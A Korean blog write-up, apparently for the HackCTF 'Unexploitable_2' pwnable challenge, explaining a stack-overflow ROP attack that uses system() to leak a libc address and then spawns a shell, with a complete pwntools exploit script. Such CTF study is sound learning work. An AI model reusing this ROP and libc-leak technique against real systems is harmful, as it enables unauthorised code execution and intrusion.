유사 트릭(?) 문제이다!
일단 main 함수이다.
1 2 3 4 5 6 7 8 9 10 | int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-10h] setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); fwrite("Hard RTL ha? You don't even have fflush@dynstr!\n", 1uLL, 0x30uLL, _bss_start); fgets(&s, 64, stdin); return 0; } | cs |
누가봐도 오버플로우로 rop하면 되는 문제이다.
하지만 마땅한 출력함수가 없다. fwrite를 사용하기에는 인자셋팅이 힘들었다.
근데 함수부분에 gift라고 있다.
1 2 3 4 | int gift() { return system("use this system gadget :D"); } | cs |
system함수를 출력함수로도 사용할 수 있다는 점을 이용하여 익스하면 된다.
자세한 내용을 아래 익스코드를 참조하시길!
참고로 Unexploitable_1 문제도 같은 방법으로 풀 수 있다! 물론 언인텐이다.
아 그리고 문제에서 라이브러리를 안주길래 LibcSearcher 모듈을 사용했다.
익스코드는 다음과 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | from pwn import * from LibcSearcher import * e = ELF("./Unexploitable_2") #r = remote("ctf.j0n9hyun.xyz",3037) r = process("./Unexploitable_2") system_plt = e.plt["system"] system_got = e.got["system"] fwrite_plt = e.plt["fwrite"] fwrite_got = e.got["fwrite"] main = 0x40068c gift = e.symbols["gift"] pr = 0x0000000000400773 r.recvuntil("!\n") payload = "A" * (0x10 + 0x8) payload += p64(pr) payload += p64(system_got) payload += p64(system_plt) payload += p64(main) r.sendline(payload) log.info("payload length : "+ str(len(payload))) # Output : sh: 1: \x90o\xbd\x18\x7f: not found r.recvuntil("sh: 1: ") leak = u64(r.recvuntil("\x7f")[-6:]+"\x00\x00") libc = LibcSearcher("system",leak) libc_base = leak - libc.dump("system") binsh = libc_base + libc.dump("str_bin_sh") log.info("leak data : "+hex(leak)) log.info("libc base : "+hex(libc_base)) r.recvuntil("!\n") payload = "A" * (0x10 + 0x8) payload += p64(pr) payload += p64(binsh) payload += p64(system_plt) r.sendline(payload) r.interactive() | cs |
'System Hacking ( pwnable ) > HackCTF Write-up' 카테고리의 다른 글
[hackCTF] wishlist ( write-up ) (0) | 2019.08.29 |
---|---|
[hackCTF] ezshell ( write-up ) (0) | 2019.08.19 |
[hackCTF] babyheap ( write-up ) (0) | 2019.08.05 |
[HackCTF] SysROP ( write-up ) (0) | 2019.07.31 |